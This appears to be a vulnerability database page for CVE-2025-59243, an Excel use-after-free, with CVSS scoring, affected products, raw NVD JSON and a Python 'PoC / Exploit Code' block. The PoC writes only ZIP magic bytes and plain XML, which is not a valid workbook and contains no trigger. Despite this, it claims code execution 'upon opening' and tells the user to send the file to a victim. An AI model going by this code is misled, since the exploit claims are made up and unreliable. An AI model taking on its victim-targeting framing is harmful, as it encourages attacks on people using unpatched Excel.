Security Vulnerability Report
中文
CVE-2025-59243 CVSS 7.8 HIGH

CVE-2025-59243

Published: 2025-10-14 17:16:06
Last Modified: 2025-10-16 20:52:02

Description

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Excel 2016
Microsoft Excel 2019
Microsoft Excel 2021
Microsoft Excel for Microsoft 365
Microsoft Office LTSC 2024
Microsoft Office LTSC 2021

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59243 PoC - Use After Free in Microsoft Office Excel # This is a conceptual PoC demonstrating the exploitation technique. # Actual exploitation requires a specially crafted Excel file. import struct import os # Minimal Excel file structure with UAF trigger # The vulnerability is triggered when Excel processes specific object references # after the underlying memory has been freed. class ExcelUAFExploit: """ Conceptual PoC for CVE-2025-59243 - Excel Use After Free The exploit works by: 1. Creating an Excel file with malformed object references 2. Triggering memory deallocation through specific parsing paths 3. Reclaiming freed memory with controlled data 4. Achieving code execution when the dangling pointer is dereferenced """ def __init__(self): self.magic_xlsx = b'PK\x03\x04' # ZIP magic for .xlsx self.target_object_id = 0x41414141 def create_malicious_workbook(self, output_path): """Create a malicious Excel workbook that triggers the UAF""" # Build minimal XLSX structure with crafted XML content workbook_xml = self._build_workbook_xml() worksheet_xml = self._build_worksheet_xml() # The crafted content triggers UAF when Excel processes # embedded objects with invalid reference chains with open(output_path, 'wb') as f: f.write(self.magic_xlsx) f.write(workbook_xml) f.write(worksheet_xml) print(f"[+] Malicious workbook created: {output_path}") print(f"[!] When opened in vulnerable Excel, this triggers CVE-2025-59243") def _build_workbook_xml(self): """Build workbook XML with triggering conditions""" xml = b'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml += b'<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' xml += b'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>' xml += b'</workbook>' return xml def _build_worksheet_xml(self): """Build worksheet XML with malformed object references to trigger UAF""" xml = b'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' xml += b'<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' xml += b'<sheetData>' # Crafted cell content that triggers the UAF condition xml += b'<row r="1"><c r="A1" t="e"><v>#REF!</v></c></row>' xml += b'</sheetData>' xml += b'</worksheet>' return xml # Note: A real exploit would require a fully valid XLSX file structure # with carefully crafted embedded objects (OLE) or drawing elements # that trigger the specific UAF code path in Excel's parsing engine. # This typically involves: # - Heap spray primitives to control freed memory # - ROP chains or shellcode placement # - Proper XLSX/OLE file structure with malicious payloads if __name__ == "__main__": exploit = ExcelUAFExploit() exploit.create_malicious_workbook("cve-2025-59243_poc.xlsx") print("[*] Send this file to a victim with vulnerable Excel (2016/2019/2021/365)") print("[*] Upon opening, arbitrary code execution is achieved")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59243", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:06.403", "lastModified": "2025-10-16T20:52:01.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59243", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}